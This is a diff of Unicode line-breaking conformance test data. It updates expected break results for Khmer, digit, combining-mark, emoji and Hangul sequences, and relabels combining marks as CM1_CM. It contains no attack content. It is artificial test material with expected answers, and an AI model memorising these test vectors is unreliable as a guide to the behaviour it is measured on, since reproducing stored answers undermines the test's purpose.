-× 17D6 × 0308 × 002F ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 17D6 × 0308 × 0020 × 002F ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 17D6 × 0308 × 002F ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 17D6 × 0308 × 0020 × 002F ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 17D6 × 2060 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 17D6 × 0020 × 2060 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 17D6 × 0308 × 2060 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 17D6 × 0308 × 0020 × 2060 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 17D6 × 0308 × 2060 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 17D6 × 0308 × 0020 × 2060 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 17D6 × 200B ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 17D6 × 0020 × 200B ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 17D6 × 0308 × 200B ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 17D6 × 0308 × 0020 × 200B ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 17D6 × 0308 × 200B ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 17D6 × 0308 × 0020 × 200B ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 17D6 ÷ 1F1E6 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 17D6 × 0020 ÷ 1F1E6 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 17D6 × 0308 ÷ 1F1E6 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 17D6 × 0308 ÷ 1F1E6 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 17D6 ÷ 261D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 17D6 × 0020 ÷ 261D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 17D6 × 0308 ÷ 261D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 261D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 17D6 ÷ 1F3FB ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 17D6 × 0020 ÷ 1F3FB ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 17D6 × 0308 ÷ 1F3FB ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 17D6 × 0001 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 17D6 × 0020 ÷ 0001 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 17D6 × 0308 × 0001 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 17D6 × 200D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 17D6 × 0020 ÷ 200D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 17D6 × 0308 × 200D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 200D ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 17D6 ÷ 00A7 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 17D6 × 0020 ÷ 00A7 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 17D6 × 0308 ÷ 00A7 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 17D6 × 0308 ÷ 00A7 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 17D6 ÷ 50005 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 17D6 × 0020 ÷ 50005 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 17D6 × 0308 ÷ 50005 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 17D6 × 0308 ÷ 50005 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 17D6 ÷ 0E01 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 17D6 × 0020 ÷ 0E01 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 17D6 × 0308 ÷ 0E01 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 17D6 × 0308 ÷ 0E01 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 0E01 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] THAI CHARACTER KO KAI (SA_AL) ÷ [0.3]
× 17D6 × 3041 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 17D6 × 0020 ÷ 3041 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 17D6 × 0308 × 3041 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
-× 17D6 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 17D6 × 0308 × 3041 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
+× 17D6 × 0308 × 0020 ÷ 3041 ÷ # × [0.3] KHMER SIGN CAMNUC PII KUUH (NS) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HIRAGANA LETTER SMALL A (CJ_NS) ÷ [0.3]
× 0030 × 0023 ÷ # × [0.3] DIGIT ZERO (NU) × [23.03] NUMBER SIGN (AL) ÷ [0.3]
× 0030 × 0020 ÷ 0023 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
-× 0030 × 0308 × 0023 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [23.03] NUMBER SIGN (AL) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
+× 0030 × 0308 × 0023 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [23.03] NUMBER SIGN (AL) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 0023 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NUMBER SIGN (AL) ÷ [0.3]
× 0030 ÷ 2014 ÷ # × [0.3] DIGIT ZERO (NU) ÷ [999.0] EM DASH (B2) ÷ [0.3]
× 0030 × 0020 ÷ 2014 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
-× 0030 × 0308 ÷ 2014 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
+× 0030 × 0308 ÷ 2014 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EM DASH (B2) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 2014 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EM DASH (B2) ÷ [0.3]
× 0030 × 0009 ÷ # × [0.3] DIGIT ZERO (NU) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0030 × 0020 ÷ 0009 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0030 × 0308 × 0009 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0030 × 0308 × 0009 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.01] <CHARACTER TABULATION> (BA) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 0009 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <CHARACTER TABULATION> (BA) ÷ [0.3]
× 0030 ÷ 00B4 ÷ # × [0.3] DIGIT ZERO (NU) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0030 × 0020 ÷ 00B4 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0030 × 0308 ÷ 00B4 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0030 × 0308 ÷ 00B4 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] ACUTE ACCENT (BB) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 00B4 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ACUTE ACCENT (BB) ÷ [0.3]
× 0030 × 000B ÷ # × [0.3] DIGIT ZERO (NU) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0030 × 0020 × 000B ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0030 × 0308 × 000B ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
-× 0030 × 0308 × 0020 × 000B ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0030 × 0308 × 000B ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
+× 0030 × 0308 × 0020 × 000B ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE TABULATION> (BK) ÷ [0.3]
× 0030 ÷ FFFC ÷ # × [0.3] DIGIT ZERO (NU) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0030 × 0020 ÷ FFFC ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0030 × 0308 ÷ FFFC ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0030 × 0308 ÷ FFFC ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [20.01] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ FFFC ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] OBJECT REPLACEMENT CHARACTER (CB) ÷ [0.3]
× 0030 × 007D ÷ # × [0.3] DIGIT ZERO (NU) × [25.04] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0030 × 0020 × 007D ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0030 × 0308 × 007D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [25.04] RIGHT CURLY BRACKET (CL) ÷ [0.3]
-× 0030 × 0308 × 0020 × 007D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0030 × 0308 × 007D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [25.04] RIGHT CURLY BRACKET (CL) ÷ [0.3]
+× 0030 × 0308 × 0020 × 007D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT CURLY BRACKET (CL) ÷ [0.3]
× 0030 × 0029 ÷ # × [0.3] DIGIT ZERO (NU) × [25.04] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0030 × 0020 × 0029 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0030 × 0308 × 0029 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [25.04] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0030 × 0308 × 0020 × 0029 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
-× 0030 × 0001 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0030 × 0020 ÷ 0001 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0030 × 0308 × 0001 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [9.0] <START OF HEADING> (CM) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM) ÷ [0.3]
+× 0030 × 0308 × 0029 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [25.04] RIGHT PARENTHESIS (CP) ÷ [0.3]
+× 0030 × 0308 × 0020 × 0029 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] RIGHT PARENTHESIS (CP) ÷ [0.3]
× 0030 × 000D ÷ # × [0.3] DIGIT ZERO (NU) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0030 × 0020 × 000D ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0030 × 0308 × 000D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-× 0030 × 0308 × 0020 × 000D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0030 × 0308 × 000D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0030 × 0308 × 0020 × 000D ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0030 × 0021 ÷ # × [0.3] DIGIT ZERO (NU) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0030 × 0020 × 0021 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0030 × 0308 × 0021 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0030 × 0308 × 0020 × 0021 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0030 × 0308 × 0021 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0030 × 0308 × 0020 × 0021 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0030 × 00A0 ÷ # × [0.3] DIGIT ZERO (NU) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 0030 × 0020 ÷ 00A0 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0030 × 0308 × 00A0 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0030 × 0308 × 00A0 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0030 ÷ AC00 ÷ # × [0.3] DIGIT ZERO (NU) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0030 × 0020 ÷ AC00 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0030 × 0308 ÷ AC00 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0030 × 0308 ÷ AC00 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0030 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0030 ÷ AC01 ÷ # × [0.3] DIGIT ZERO (NU) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0030 × 0020 ÷ AC01 ÷ # × [0.3] DIGIT ZERO (NU) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0030 × 0308 ÷ AC01 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0030 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] DIGIT ZERO (NU) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
